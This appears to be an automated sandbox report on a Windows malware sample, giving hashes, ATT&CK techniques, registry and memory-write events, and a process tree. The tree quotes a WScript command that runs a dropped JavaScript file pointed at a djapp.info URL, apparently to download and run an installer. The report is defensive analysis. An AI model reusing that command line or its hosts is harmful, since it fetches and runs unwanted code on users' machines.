b2fd3f055b9ba5e21f7205a325de056b5aafd9d9691ae5b033d61f251f4b96ad

General

Target

a0c5c29cf070c7ac706118ffe46e6022_JaffaCakes118.exe
Size

184KB
MD5

a0c5c29cf070c7ac706118ffe46e6022
SHA1

44e447e67b4f5567ed7278ec9885618288c7c159
SHA256

b2fd3f055b9ba5e21f7205a325de056b5aafd9d9691ae5b033d61f251f4b96ad
SHA512

48aad8433747d9009dd289cdf416d57ad3da2dfc023bba1c08c9334e6424d2c7785e7ca6c6f94cbb0e2a56b92030b088d11eecc3efe522fca8813599c23ed7e4
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3u:/7BSH8zUB+nGESaaRvoB7FJNndn3

Score

7^/10

execution

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Control Panel\International\Geo\Nation	a0c5c29cf070c7ac706118ffe46e6022_JaffaCakes118.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
1896	3056	WerFault.exe	81

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000_Classes\Local Settings	a0c5c29cf070c7ac706118ffe46e6022_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 3056 wrote to memory of 3292	3056	a0c5c29cf070c7ac706118ffe46e6022_JaffaCakes118.exe	82
PID 3056 wrote to memory of 3292	3056	a0c5c29cf070c7ac706118ffe46e6022_JaffaCakes118.exe	82
PID 3056 wrote to memory of 3292	3056	a0c5c29cf070c7ac706118ffe46e6022_JaffaCakes118.exe	82
PID 3056 wrote to memory of 2404	3056	a0c5c29cf070c7ac706118ffe46e6022_JaffaCakes118.exe	88
PID 3056 wrote to memory of 2404	3056	a0c5c29cf070c7ac706118ffe46e6022_JaffaCakes118.exe	88
PID 3056 wrote to memory of 2404	3056	a0c5c29cf070c7ac706118ffe46e6022_JaffaCakes118.exe	88
PID 3056 wrote to memory of 2412	3056	a0c5c29cf070c7ac706118ffe46e6022_JaffaCakes118.exe	93
PID 3056 wrote to memory of 2412	3056	a0c5c29cf070c7ac706118ffe46e6022_JaffaCakes118.exe	93
PID 3056 wrote to memory of 2412	3056	a0c5c29cf070c7ac706118ffe46e6022_JaffaCakes118.exe	93
PID 3056 wrote to memory of 4232	3056	a0c5c29cf070c7ac706118ffe46e6022_JaffaCakes118.exe	95
PID 3056 wrote to memory of 4232	3056	a0c5c29cf070c7ac706118ffe46e6022_JaffaCakes118.exe	95
PID 3056 wrote to memory of 4232	3056	a0c5c29cf070c7ac706118ffe46e6022_JaffaCakes118.exe	95
PID 3056 wrote to memory of 4304	3056	a0c5c29cf070c7ac706118ffe46e6022_JaffaCakes118.exe	96
PID 3056 wrote to memory of 4304	3056	a0c5c29cf070c7ac706118ffe46e6022_JaffaCakes118.exe	96
PID 3056 wrote to memory of 4304	3056	a0c5c29cf070c7ac706118ffe46e6022_JaffaCakes118.exe	96

C:\Users\Admin\AppData\Local\Temp\a0c5c29cf070c7ac706118ffe46e6022_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\a0c5c29cf070c7ac706118ffe46e6022_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3056
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf565D.js" http://www.djapp.info/?domain=qGPmShxrNW.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGLK81QpOOhYakyyZenuW16ANxPXHCs C:\Users\Admin\AppData\Local\Temp\fuf565D.exe
  2⤵
  PID:3292
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf565D.js" http://www.djapp.info/?domain=qGPmShxrNW.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGLK81QpOOhYakyyZenuW16ANxPXHCs C:\Users\Admin\AppData\Local\Temp\fuf565D.exe
  2⤵
  PID:2404
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf565D.js" http://www.djapp.info/?domain=qGPmShxrNW.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGLK81QpOOhYakyyZenuW16ANxPXHCs C:\Users\Admin\AppData\Local\Temp\fuf565D.exe
  2⤵
  PID:2412
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf565D.js" http://www.djapp.info/?domain=qGPmShxrNW.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGLK81QpOOhYakyyZenuW16ANxPXHCs C:\Users\Admin\AppData\Local\Temp\fuf565D.exe
  2⤵
  PID:4232
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf565D.js" http://www.djapp.info/?domain=qGPmShxrNW.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=UFAf_PI7Dh3IizD6k3VGXf8V7slq5pJZmGYrhLIFYhTJiUp2-KcxyCtDJmXHwE0C3Tqr4GalSgENm5FB509zxGLK81QpOOhYakyyZenuW16ANxPXHCs C:\Users\Admin\AppData\Local\Temp\fuf565D.exe
  2⤵
  PID:4304
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 3056 -s 1444
  2⤵
  - Program crash
  PID:1896

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 3056 -ip 3056
1⤵
PID:5012

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

JavaScript

1

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\fuf565D.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

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Analysis

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